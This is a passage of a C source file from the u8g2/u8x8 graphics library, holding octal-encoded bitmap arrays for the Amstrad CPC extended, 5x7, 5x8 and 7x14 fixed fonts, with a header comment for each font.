extended-Medium-R-Normal--8-80-72-72-P-64-ISO10646-1 Copyright: Copyright ruboku 2008 Glyphs: 222/228 BBX Build Mode: 3 */ const uint8_t u8x8_font_amstrad_cpc_extended_f[1796] U8X8_FONT_SECTION("u8x8_font_amstrad_cpc_extended_f") = " \377\1\1\0\0\0\0\0\0\0\0\0\0\0__\0\0\0\0\7\7\0\7\7\0\0\24\177\177\34" "\177\177\24\0\0$*\177\177*\22\0Ff\60\30\14fb\0\60zO]\67zH\0\0\0\0\7" "\7\0\0\0\0\0\34>cA\0\0\0\0Ac>\34\0\0\10*>\34\34>*\10\0\10\10>" ">\10\10\0\0\0\200\340`\0\0\0\0\10\10\10\10\10\10\0\0\0\0``\0\0\0`\60\30\14" "\6\3\1\0>\177QIE\177>\0\0@B\177\177@@\0\0r{IIof\0\0\42aI" "I\177\66\0\30\24R\177\177P\20\0\0'oIIy\63\0\0>\177II{\62\0\0\3\1q" "}\17\7\0\0\66\177II\177\66\0\0&oII\177>\0\0\0\0ll\0\0\0\0\0\200\354" "l\0\0\0\0\10\34\66cA\0\0\0$$$$$$\0\0Ac\66\34\10\0\0\0\2\3Q" "Y\17\6\0>\177A]]_\36\0\0|~\23\23~|\0A\177\177II\177\66\0\34>cA" "Ac\42\0A\177\177Ac>\34\0A\177\177I]Ac\0A\177\177I\35\1\3\0<~CA" "Qsr\0\0\177\177\10\10\177\177\0\0AA\177\177AA\0\60p@A\177\77\1\0A\177\177\10" "\34wc\0A\177\177A@`p\0\177\177\16\34\16\177\177\0\177\177\6\14\30\177\177\0\34>cA" "c>\34\0A\177\177I\11\7\6\0<~CQ\63n\134\0A\177\177\11\31\77f\0\0&oI" "I{\62\0\0\3A\177\177A\3\0\0\77\177@@\177\77\0\0\37\77``\77\37\0\177\177\60\30" "\60\177\177\0as\36\14\36sa\0\0\7OxxO\7\0GcqYMgs\0\0\0\177\177" "AA\0\0\1\3\6\14\30\60`\0\0\0AA\177\177\0\0\10\14\6\3\6\14\10\0\200\200\200\200" "\200\200\200\200\0\0\2\6\14\10\0\0 tTT\10\10\0\0\0\0\177\177\0\0\0\0\10\10>wAA\0\2\3\1\3\2\1\1\0\0\0\0\0" "\0\0\0\0\0\0\0\377\377\0\0\0\30\30\30\30\30\30\30\30\0\0\0\37\37\30\30\30\0\0\0\370" "\370\30\30\30\30\30\30\370\370\0\0\0\30\30\30\37\37\0\0\0\30\30\30\37\37\30\30\30\0\0\0\377" "\377\30\30\30\30\30\30\370\370\30\30\30\30\30\30\377\377\0\0\0\30\30\30\377\377\30\30\30\0\10\34>" "\10\10\10\0\0\10\14>\14\10\0\0\0\10\10\10>\34\10\0\0\10\30>\30\10\0\0\0\0\0\0" "\360\360\360\360\360\360\360\360\0\0\0\0\360\360\360\360\360\360\360\360\0\0\0\0\17\17\17\17\0\0\0\0" "\377\377\377\377\360\360\360\360\17\17\17\17\360\360\360\360\377\377\377\377\17\17\17\17\0\0\0\0\17\17\17\17" "\360\360\360\360\377\377\377\377\0\0\0\0\377\377\377\377\360\360\360\360\17\17\17\17\17\17\17\17\17\17\17\17" "\377\377\377\377\377\377\377\377\17\17\17\17\377\377\377\377\377\377\377\377\300\300\300\300\300\300\300\300\374\374\374\374" "\374\374\374\374\0\0\0\0\0\0\0\0\0\0\0}}\0\0\0\70|D\376Dl(\0H~\177I" "Icb\0\0Z<$$\34\0\0zy\21\42zy\0\70|EED|\70\0\70|DD" "E}\70\0\70|EEE|\70\0\70}EEE}\70\0\70}EDE}\70\0Bf<\30" "s]g>\35\1\0<}A@|<\0\0<|@A}<\0\0<}A" "A}<\0\0=}@@}=\0\0\14]qp\134\14\0\177\177\42\42\42\34\0\0~\177II" "I>\66\0 uUTx@\0 tT|\64TX\0\0\30<\244" "\344$(\0\0\70}UT\134\30\0\0\70|TU]\30\0\0\70}UU]\30\0\0\71}T" "T]\31\0\0\0I{z@\0\0\0\0Hz{A\0\0\0\0JyyB\0\0\0\2Jx" "xB\2\0\0\65uKN}\61\0\10zq\11\12zq\0\0\60yKJx\60\0\0\60xJ" "Ky\60\0\0\60zIIz\60\0\0\62yIJz\61\0\0\62zHHz\62\0\0\10\10k" "k\10\10\0\200\260xhXx\64\4\0\70yCBxx\0\0\70xBCyx\0\0\70zA" "Azx\0\0:z@@zz\0\0\230\270\242\243\371x\0\0~$$$\30\0\0\0\232\272\240" "\240\372z"; /* Fontname: -FreeType-Amstrad CPC extended-Medium-R-Normal--8-80-72-72-P-64-ISO10646-1 Copyright: Copyright ruboku 2008 Glyphs: 95/228 BBX Build Mode: 3 */ const uint8_t u8x8_font_amstrad_cpc_extended_r[764] U8X8_FONT_SECTION("u8x8_font_amstrad_cpc_extended_r") = " ~\1\1\0\0\0\0\0\0\0\0\0\0\0__\0\0\0\0\7\7\0\7\7\0\0\24\177\177\34" "\177\177\24\0\0$*\177\177*\22\0Ff\60\30\14fb\0\60zO]\67zH\0\0\0\0\7" "\7\0\0\0\0\0\34>cA\0\0\0\0Ac>\34\0\0\10*>\34\34>*\10\0\10\10>" ">\10\10\0\0\0\200\340`\0\0\0\0\10\10\10\10\10\10\0\0\0\0``\0\0\0`\60\30\14" "\6\3\1\0>\177QIE\177>\0\0@B\177\177@@\0\0r{IIof\0\0\42aI" "I\177\66\0\30\24R\177\177P\20\0\0'oIIy\63\0\0>\177II{\62\0\0\3\1q" "}\17\7\0\0\66\177II\177\66\0\0&oII\177>\0\0\0\0ll\0\0\0\0\0\200\354" "l\0\0\0\0\10\34\66cA\0\0\0$$$$$$\0\0Ac\66\34\10\0\0\0\2\3Q" "Y\17\6\0>\177A]]_\36\0\0|~\23\23~|\0A\177\177II\177\66\0\34>cA" "Ac\42\0A\177\177Ac>\34\0A\177\177I]Ac\0A\177\177I\35\1\3\0<~CA" "Qsr\0\0\177\177\10\10\177\177\0\0AA\177\177AA\0\60p@A\177\77\1\0A\177\177\10" "\34wc\0A\177\177A@`p\0\177\177\16\34\16\177\177\0\177\177\6\14\30\177\177\0\34>cA" "c>\34\0A\177\177I\11\7\6\0<~CQ\63n\134\0A\177\177\11\31\77f\0\0&oI" "I{\62\0\0\3A\177\177A\3\0\0\77\177@@\177\77\0\0\37\77``\77\37\0\177\177\60\30" "\60\177\177\0as\36\14\36sa\0\0\7OxxO\7\0GcqYMgs\0\0\0\177\177" "AA\0\0\1\3\6\14\30\60`\0\0\0AA\177\177\0\0\10\14\6\3\6\14\10\0\200\200\200\200" "\200\200\200\200\0\0\2\6\14\10\0\0 tTT\10\10\0\0\0\0\177\177\0\0\0\0\10\10>wAA\0\2\3\1\3\2\1\1"; /* Fontname: -FreeType-Amstrad CPC extended-Medium-R-Normal--8-80-72-72-P-64-ISO10646-1 Copyright: Copyright ruboku 2008 Glyphs: 18/228 BBX Build Mode: 3 */ const uint8_t u8x8_font_amstrad_cpc_extended_n[220] U8X8_FONT_SECTION("u8x8_font_amstrad_cpc_extended_n") = " :\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10*>\34\34>*\10\0\10\10>" ">\10\10\0\0\0\200\340`\0\0\0\0\10\10\10\10\10\10\0\0\0\0``\0\0\0`\60\30\14" "\6\3\1\0>\177QIE\177>\0\0@B\177\177@@\0\0r{IIof\0\0\42aI" "I\177\66\0\30\24R\177\177P\20\0\0'oIIy\63\0\0>\177II{\62\0\0\3\1q" "}\17\7\0\0\66\177II\177\66\0\0&oII\177>\0\0\0\0ll\0\0"; /* Fontname: -FreeType-Amstrad CPC extended-Medium-R-Normal--8-80-72-72-P-64-ISO10646-1 Copyright: Copyright ruboku 2008 Glyphs: 64/228 BBX Build Mode: 3 */ const uint8_t u8x8_font_amstrad_cpc_extended_u[517] U8X8_FONT_SECTION("u8x8_font_amstrad_cpc_extended_u") = " _\1\1\0\0\0\0\0\0\0\0\0\0\0__\0\0\0\0\7\7\0\7\7\0\0\24\177\177\34" "\177\177\24\0\0$*\177\177*\22\0Ff\60\30\14fb\0\60zO]\67zH\0\0\0\0\7" "\7\0\0\0\0\0\34>cA\0\0\0\0Ac>\34\0\0\10*>\34\34>*\10\0\10\10>" ">\10\10\0\0\0\200\340`\0\0\0\0\10\10\10\10\10\10\0\0\0\0``\0\0\0`\60\30\14" "\6\3\1\0>\177QIE\177>\0\0@B\177\177@@\0\0r{IIof\0\0\42aI" "I\177\66\0\30\24R\177\177P\20\0\0'oIIy\63\0\0>\177II{\62\0\0\3\1q" "}\17\7\0\0\66\177II\177\66\0\0&oII\177>\0\0\0\0ll\0\0\0\0\0\200\354" "l\0\0\0\0\10\34\66cA\0\0\0$$$$$$\0\0Ac\66\34\10\0\0\0\2\3Q" "Y\17\6\0>\177A]]_\36\0\0|~\23\23~|\0A\177\177II\177\66\0\34>cA" "Ac\42\0A\177\177Ac>\34\0A\177\177I]Ac\0A\177\177I\35\1\3\0<~CA" "Qsr\0\0\177\177\10\10\177\177\0\0AA\177\177AA\0\60p@A\177\77\1\0A\177\177\10" "\34wc\0A\177\177A@`p\0\177\177\16\34\16\177\177\0\177\177\6\14\30\177\177\0\34>cA" "c>\34\0A\177\177I\11\7\6\0<~CQ\63n\134\0A\177\177\11\31\77f\0\0&oI" "I{\62\0\0\3A\177\177A\3\0\0\77\177@@\177\77\0\0\37\77``\77\37\0\177\177\60\30" "\60\177\177\0as\36\14\36sa\0\0\7OxxO\7\0GcqYMgs\0\0\0\177\177" "AA\0\0\1\3\6\14\30\60`\0\0\0AA\177\177\0\0\10\14\6\3\6\14\10\0\200\200\200\200" "\200\200\200\200"; /* Fontname: -Misc-Fixed-Medium-R-Normal--7-70-75-75-C-50-ISO10646-1 Copyright: Public domain font. Share and enjoy. Glyphs: 191/1848 BBX Build Mode: 3 */ const uint8_t u8x8_font_5x7_f[1796] U8X8_FONT_SECTION("u8x8_font_5x7_f") = " \377\1\1\0\0\0\0\0\0\0\0\0\0^\0\0\0\0\0\0\16\0\16\0\0\0\0(|(|" "(\0\0\0\10T|T \0\0\0&\20\10d\0\0\0\0(T(@\0\0\0\0\0\0\16\0" "\0\0\0\0\0\0\0\0\0~\30$B" "\0\0\0\0~@@@\0\0\0\0~\14\14~\0\0\0\0~\14\60~\0\0\0\0@@>\0\0\0\0\36``\36\0\0\0\0~\60\60~" "\0\0\0\0f\30\30f\0\0\0\0\0\16p\16\0\0\0\0bRJF\0\0\0\0\0~BB" "\0\0\0\0\4\10\20 \0\0\0\0\0BB~\0\0\0\0\0\4\2\4\0\0\0\0@@@@" "\0\0\0\0\0\2\4\0\0\0\0\0\60H(x\0\0\0\0~HH\60\0\0\0\0\60HH\0" "\0\0\0\0\60HH~\0\0\0\0\60hX\20\0\0\0\0\20|\22\4\0\0\0\0P\250\250\230" "\0\0\0\0~\10\10p\0\0\0\0\0Hz@\0\0\0\0\0@\200z\0\0\0\0~\20(@" "\0\0\0\0\0B~@\0\0\0\0x\20\30p\0\0\0\0x\10\10p\0\0\0\0\60HH\60" "\0\0\0\0\370HH\60\0\0\0\0\60HH\370\0\0\0\0x\10\10\20\0\0\0\0PXh(" "\0\0\0\0\10>H@\0\0\0\0\70@@x\0\0\0\0\0\70@\70\0\0\0\0x``x" "\0\0\0\0H\60\60H\0\0\0\0\30\240@\70\0\0\0\0HhXH\0\0\0\0\0\10\0\0\0\0>@@>\0\0\0\0>@@>\0\0\0\0>@@>" "\0\0\0\0:@@:\0\0\0\0\0\16p\16\0\0\0\0~\24\24\10\0\0\0\0|\2J\64" "\0\0\0\0\60J,x\0\0\0\0\60L*x\0\0\0\0\60L*|\0\0\0\0\64J,z" "\0\0\0\0\60J(z\0\0\0\0\60N.x\0\0\0\0\60HxX\0\0\0\0\0\60\310H" "\0\0\0\0\60j\134\20\0\0\0\0\60lZ\20\0\0\0\0\64j\134\20\0\0\0\0\62hZ\20" "\0\0\0\0\0J|@\0\0\0\0\0Lz@\0\0\0\0\0LzD\0\0\0\0\0JxB" "\0\0\0\0\60JL\64\0\0\0\0|\12\14r\0\0\0\0\60JL\60\0\0\0\0\60LJ\60" "\0\0\0\0\60JJ\60\0\0\0\0\64JL\62\0\0\0\0\60JH\62\0\0\0\0\20TT\20" "\0\0\0\0phX\70\0\0\0\0\70BDx\0\0\0\0\70DBx\0\0\0\0\70BBx" "\0\0\0\0\70B@z\0\0\0\0\30\244B\70\0\0\0\0\374HH\60\0\0\0\0\30\242@:" "\0\0\0"; /* Fontname: -Misc-Fixed-Medium-R-Normal--7-70-75-75-C-50-ISO10646-1 Copyright: Public domain font. Share and enjoy. Glyphs: 95/1848 BBX Build Mode: 3 */ const uint8_t u8x8_font_5x7_r[764] U8X8_FONT_SECTION("u8x8_font_5x7_r") = " ~\1\1\0\0\0\0\0\0\0\0\0\0^\0\0\0\0\0\0\16\0\16\0\0\0\0(|(|" "(\0\0\0\10T|T \0\0\0&\20\10d\0\0\0\0(T(@\0\0\0\0\0\0\16\0" "\0\0\0\0\0\0\0\0\0~\30$B" "\0\0\0\0~@@@\0\0\0\0~\14\14~\0\0\0\0~\14\60~\0\0\0\0@@>\0\0\0\0\36``\36\0\0\0\0~\60\60~" "\0\0\0\0f\30\30f\0\0\0\0\0\16p\16\0\0\0\0bRJF\0\0\0\0\0~BB" "\0\0\0\0\4\10\20 \0\0\0\0\0BB~\0\0\0\0\0\4\2\4\0\0\0\0@@@@" "\0\0\0\0\0\2\4\0\0\0\0\0\60H(x\0\0\0\0~HH\60\0\0\0\0\60HH\0" "\0\0\0\0\60HH~\0\0\0\0\60hX\20\0\0\0\0\20|\22\4\0\0\0\0P\250\250\230" "\0\0\0\0~\10\10p\0\0\0\0\0Hz@\0\0\0\0\0@\200z\0\0\0\0~\20(@" "\0\0\0\0\0B~@\0\0\0\0x\20\30p\0\0\0\0x\10\10p\0\0\0\0\60HH\60" "\0\0\0\0\370HH\60\0\0\0\0\60HH\370\0\0\0\0x\10\10\20\0\0\0\0PXh(" "\0\0\0\0\10>H@\0\0\0\0\70@@x\0\0\0\0\0\70@\70\0\0\0\0x``x" "\0\0\0\0H\60\60H\0\0\0\0\30\240@\70\0\0\0\0HhXH\0\0\0\0\0\10\2\0\0\0\0~\10\64B" "\0\0\0\0~@@@\0\0\0\0~\14\14~\0\0\0\0~\14\70~\0\0\0\0@@>\0\0\0\0\36``\36\0\0\0\0~\60\60~" "\0\0\0\0f\30\30f\0\0\0\0\6\10p\10\6\0\0\0bRJF\0\0\0\0\0~BB" "\0\0\0\0\6\10\20`\0\0\0\0\0BB~\0\0\0\0\0\4\2\4\0\0\0\0\200\200\200\200" "\0\0\0\0\0\2\4\0\0\0\0\0\60HHx\0\0\0\0~HH\60\0\0\0\0\0\60HH" "\0\0\0\0\60HH~\0\0\0\0\60hX\20\0\0\0\0\20|\22\4\0\0\0\0\20\250\250p" "\0\0\0\0~\10\10p\0\0\0\0\0Hz@\0\0\0\0\0@\200z\0\0\0\0~\20\20h" "\0\0\0\0\0B~@\0\0\0\0x\10p\10p\0\0\0x\10\10p\0\0\0\0\60HH\60" "\0\0\0\0\370((\20\0\0\0\0\20((\370\0\0\0\0x\20\10\20\0\0\0\0\0PX(" "\0\0\0\0\10>H \0\0\0\0\70@@x\0\0\0\0\0\70@\70\0\0\0\0\70@\60@" "\70\0\0\0H\60\60H\0\0\0\0X\240\240x\0\0\0\0HhXH\0\0\0\0\10*UA" "\0\0\0\0\0\0~\0\0\0\0\0AU*\10\0\0\0\0\4\2\4\2\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0z\0\0\0\0\0\60H\374H\0\0\0\0H\0\0\0\0AA>" "\0\0\0\0=@@=\0\0\0\0\4\10r\11\4\0\0\0~$$\30\0\0\0\0|\2Z$" "\0\0\0\0\60IJx\0\0\0\0\60JIx\0\0\0\0\60JIz\0\0\0\0\62IJy" "\0\0\0\0\60JHz\0\0\0\0\62MMz\0\0\0\0(XxhP\0\0\0\0\60\310H" "\0\0\0\0\60iZ\20\0\0\0\0\60jY\20\0\0\0\0\62iY\22\0\0\0\0\60jX\22" "\0\0\0\0\0Iz@\0\0\0\0\0HzA\0\0\0\0\0JyB\0\0\0\0\0JxB" "\0\0\0\0%RU\70\0\0\0\0z\11\12q\0\0\0\0\60IJ\60\0\0\0\0\60JI\60" "\0\0\0\0\62II\62\0\0\0\0\62IJ\61\0\0\0\0\62HH\62\0\0\0\0\0\20T\20" "\0\0\0\0phX\70\0\0\0\0\70ABx\0\0\0\0\70BAx\0\0\0\0:AAz" "\0\0\0\0:@@z\0\0\0\0X\242\241x\0\0\0\0\376((\20\0\0\0\0Z\240\240z" "\0\0\0"; /* Fontname: -Misc-Fixed-Medium-R-Normal--8-80-75-75-C-50-ISO10646-1 Copyright: Public domain font. Share and enjoy. Glyphs: 95/1426 BBX Build Mode: 3 */ const uint8_t u8x8_font_5x8_r[764] U8X8_FONT_SECTION("u8x8_font_5x8_r") = " ~\1\1\0\0\0\0\0\0\0\0\0\0^\0\0\0\0\0\0\16\0\16\0\0\0\0\24\177\24\177" "\24\0\0\0\4*\177*\20\0\0\0\0\26\10\64\0\0\0\0\66I\66@\0\0\0\0\0\0\16\0" "\0\0\0\0\0\2\0\0\0\0~\10\64B" "\0\0\0\0~@@@\0\0\0\0~\14\14~\0\0\0\0~\14\70~\0\0\0\0@@>\0\0\0\0\36``\36\0\0\0\0~\60\60~" "\0\0\0\0f\30\30f\0\0\0\0\6\10p\10\6\0\0\0bRJF\0\0\0\0\0~BB" "\0\0\0\0\6\10\20`\0\0\0\0\0BB~\0\0\0\0\0\4\2\4\0\0\0\0\200\200\200\200" "\0\0\0\0\0\2\4\0\0\0\0\0\60HHx\0\0\0\0~HH\60\0\0\0\0\0\60HH" "\0\0\0\0\60HH~\0\0\0\0\60hX\20\0\0\0\0\20|\22\4\0\0\0\0\20\250\250p" "\0\0\0\0~\10\10p\0\0\0\0\0Hz@\0\0\0\0\0@\200z\0\0\0\0~\20\20h" "\0\0\0\0\0B~@\0\0\0\0x\10p\10p\0\0\0x\10\10p\0\0\0\0\60HH\60" "\0\0\0\0\370((\20\0\0\0\0\20((\370\0\0\0\0x\20\10\20\0\0\0\0\0PX(" "\0\0\0\0\10>H \0\0\0\0\70@@x\0\0\0\0\0\70@\70\0\0\0\0\70@\60@" "\70\0\0\0H\60\60H\0\0\0\0X\240\240x\0\0\0\0HhXH\0\0\0\0\10*UA" "\0\0\0\0\0\0~\0\0\0\0\0AU*\10\0\0\0\0\4\2\4\2\0\0\0"; /* Fontname: -Misc-Fixed-Medium-R-Normal--8-80-75-75-C-50-ISO10646-1 Copyright: Public domain font. Share and enjoy. Glyphs: 18/1426 BBX Build Mode: 3 */ const uint8_t u8x8_font_5x8_n[220] U8X8_FONT_SECTION("u8x8_font_5x8_n") = " :\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0T\70\70T\0\0\0\0\20\20|\20" "\20\0\0\0\0\200` \0\0\0\0\20\20\20\20\0\0\0\0\0@\340@\0\0\0\0`\20\10\6" "\0\0\0\0\0\36\16\0\0\0\0\0\0\0\0\0\0\0\1\1\1" "\1\1\1\0\0\0\0\0\0\0\0\0\0\0\10\34\34\10\0\0\0\0\0\200\300p\70\0\34\16\3\1" "\0\0\0\0\340\360\30\10\30\360\340\0\7\17\30\20\30\17\7\0\0 \60\370\370\0\0\0\0\20\20\37" "\37\20\20\0\60\70\10\10\210\370p\0\30\34\26\23\21\20\20\0\10\10\210\310\350\270\30\0\10\30\20\20" "\20\37\17\0\200\300`\60\370\370\0\0\3\3\2\2\37\37\2\0\370\370\310HH\310\210\0\10\30\20\20" "\20\37\17\0\340\360\230\210\210\210\0\0\17\37\31\20\20\37\17\0\10\10\10\210\310x\70\0\0\0\36\37" "\1\0\0\0p\370\210\210\210\370p\0\17\37\20\20\20\37\17\0\360\370\10\10\230\370\360\0\0\21\21\21" "\31\17\7\0\0\0@\340\340@\0\0\0\0\10\34\34\10\0"; /* Fontname: -Misc-Fixed-Medium-R-Normal--14-130-75-75-C-70-ISO10646-1 Copyright: Public domain font. Share and enjoy. Glyphs: 191/2576 BBX Build Mode: 3 */ const uint8_t u8x8_font_7x14_1x2_f[3588] U8X8_FONT_SECTION("u8x8_font_7x14_1x2_f") = " \377\1\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\370\0\0\0\0\0\0\0" "\33\0\0\0\0\0\0<\0<\0\0\0\0\0\0\0\0\0\0\0\0@\370@\370@\0\0\0\2\37" "\2\37\2\0\0`\220\20\370\20`\0\0\14\20\21\77\21\16\0\0\60HH\360 \30\0\0\30\4\17" "\22\22\14\0\0\0p\210\210p\0\0\0\16\21\21\12\14\23\0\0\0\0\0<\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\60\10\4\0\0\0\0\7\30 @\0\0\0\4\10\60\300\0\0\0\0@ " "\30\7\0\0\0\0@\200\340\200@\0\0\0\4\2\17\2\4\0\0\0\0\0\340\0\0\0\0\0\1\1" "\17\1\1\0\0\0\0\0\0\0\0\0\0\0\0H\70\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1" "\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\20\70\20\0\0\0\0\0\0\300\60\14\0\0`\30\6" "\1\0\0\0\0\340\20\10\10\20\340\0\0\7\10\20\20\10\7\0\0\0 \20\370\0\0\0\0\0\20\20" "\37\20\20\0\0\60\10\10\10\210p\0\0\20\30\24\22\21\20\0\0\10\10\210\310\250\30\0\0\14\20\20" "\20\20\17\0\0\0\200`\20\370\0\0\0\6\5\4\4\37\4\0\0\370HHHH\210\0\0\14\20\20" "\20\20\17\0\0\340\20\210\210\210\0\0\0\17\21\20\20\20\17\0\0\10\10\10\210h\30\0\0\0\30\6" "\1\0\0\0\0\60H\210\210H\60\0\0\16\21\20\20\21\16\0\0\360\10\10\10\210\360\0\0\14\21\21" "\21\10\7\0\0\0\0@\340@\0\0\0\0\0\10\34\10\0\0\0\0\0\300\300\0\0\0\0\0\0$" "\34\0\0\0\0\0\0\200@ \20\0\0\0\1\2\4\10\20\0\0@@@@@@\0\0\2\2\2" "\2\2\2\0\0\0\20 @\200\0\0\0\0\20\10\4\2\1\0\0\60\10\10\210H\60\0\0\0\0\0" "\33\0\0\0\0\340\20\310((\360\0\0\7\10\23\24\24\27\0\0\340\20\10\10\20\340\0\0\37\1\1" "\1\1\37\0\0\370\210\210\210P \0\0\37\20\20\20\11\6\0\0\360\10\10\10\10\60\0\0\17\20\20" "\20\20\14\0\0\370\10\10\10\20\340\0\0\37\20\20\20\10\7\0\0\370\210\210\210\10\10\0\0\37\20\20" "\20\20\20\0\0\370\210\210\210\10\10\0\0\37\0\0\0\0\0\0\0\360\10\10\10\10\60\0\0\17\20\20" "\21\11\37\0\0\370\200\200\200\200\370\0\0\37\0\0\0\0\37\0\0\0\10\10\370\10\10\0\0\0\20\20" "\37\20\20\0\0\0\0\0\10\370\10\0\0\14\20\20\20\17\0\0\0\370\200@ \20\10\0\0\37\0\1" "\2\4\30\0\0\370\0\0\0\0\0\0\0\37\20\20\20\20\20\0\0\370\60\300\300\60\370\0\0\37\0\0" "\0\0\37\0\0\370`\200\0\0\370\0\0\37\0\0\1\6\37\0\0\360\10\10\10\10\360\0\0\17\20\20" "\20\20\17\0\0\370\10\10\10\10\360\0\0\37\1\1\1\1\0\0\0\360\10\10\10\10\360\0\0\17\22\22" "\24\70O\0\0\370\10\10\10\10\360\0\0\37\1\1\3\5\30\0\0p\210\210\10\10\60\0\0\14\20\20" "\21\21\16\0\0\10\10\10\370\10\10\10\0\0\0\0\37\0\0\0\0\370\0\0\0\0\370\0\0\17\20\20" "\20\20\17\0\0x\200\0\0\200x\0\0\0\3\34\34\3\0\0\0\0\370\0\0\0\370\0\0\0\17\20" "\16\20\17\0\0\30`\200\200`\30\0\0\30\6\1\1\6\30\0\0\0\70\300\0\300\70\0\0\0\0\0" "\37\0\0\0\0\10\10\10\310(\30\0\0\30\26\21\20\20\20\0\0\0\0\374\4\4\4\0\0\0\0\177" "@@@\0\0\14\60\300\0\0\0\0\0\0\0\1\6\30`\0\0\0\4\4\4\374\0\0\0\0@@" "@\177\0\0\0\20\10\4\4\10\20\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@@@" "@@@\0\0\0\0\4\10\20\0\0\0\0\0\0\0\0\0\0\0\200@@@@\200\0\0\14\22\22" "\22\22\37\0\0\370\200@@@\200\0\0\37\10\20\20\20\17\0\0\200@@@@\200\0\0\17\20\20" "\20\20\10\0\0\200@@@\200\370\0\0\17\20\20\20\10\37\0\0\200@@@@\200\0\0\17\22\22" "\22\22\13\0\0\200\200\360\210\210\20\0\0\0\0\37\0\0\0\0\0\200@@@\200@\0\0\63LT" "TS \0\0\370\200@@@\200\0\0\37\0\0\0\0\37\0\0\0\0@\330\0\0\0\0\0\20\20" "\37\20\20\0\0\0\0\0\0@\330\0\0\0\60@@@\77\0\0\370\0\0\200@\0\0\0\37\2\3" "\4\10\20\0\0\0\0\10\370\0\0\0\0\0\20\20\37\20\20\0\0\0\300@\200@\200\0\0\0\37\0" "\17\0\37\0\0\300\200@@@\200\0\0\37\0\0\0\0\37\0\0\200@@@@\200\0\0\17\20\20" "\20\20\17\0\0\300\200@@@\200\0\0\177\10\20\20\20\17\0\0\200@@@\200\300\0\0\17\20\20" "\20\10\177\0\0\300\200@@@\200\0\0\37\0\0\0\0\1\0\0\200@@@@\200\0\0\10\21\22" "\22\24\10\0\0@@\370@@\0\0\0\0\0\17\20\20\10\0\0\300\0\0\0\0\300\0\0\17\20\20" "\20\10\37\0\0\0\300\0\0\0\300\0\0\0\1\6\30\6\1\0\0\0\300\0\0\0\300\0\0\0\17\20" "\17\20\17\0\0\300\0\0\0\0\300\0\0\30\5\2\2\5\30\0\0\300\0\0\0\0\300\0\0'HH" "HD\77\0\0@@@@\300@\0\0\20\30\26\21\20\20\0\0\0\0\0\370\4\4\0\0\0\0\1" ">@@\0\0\0\0\0\374\0\0\0\0\0\0\0\177\0\0\0\0\0\4\4\370\0\0\0\0\0@@" ">\1\0\0\0\30\4\10\20 \30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" 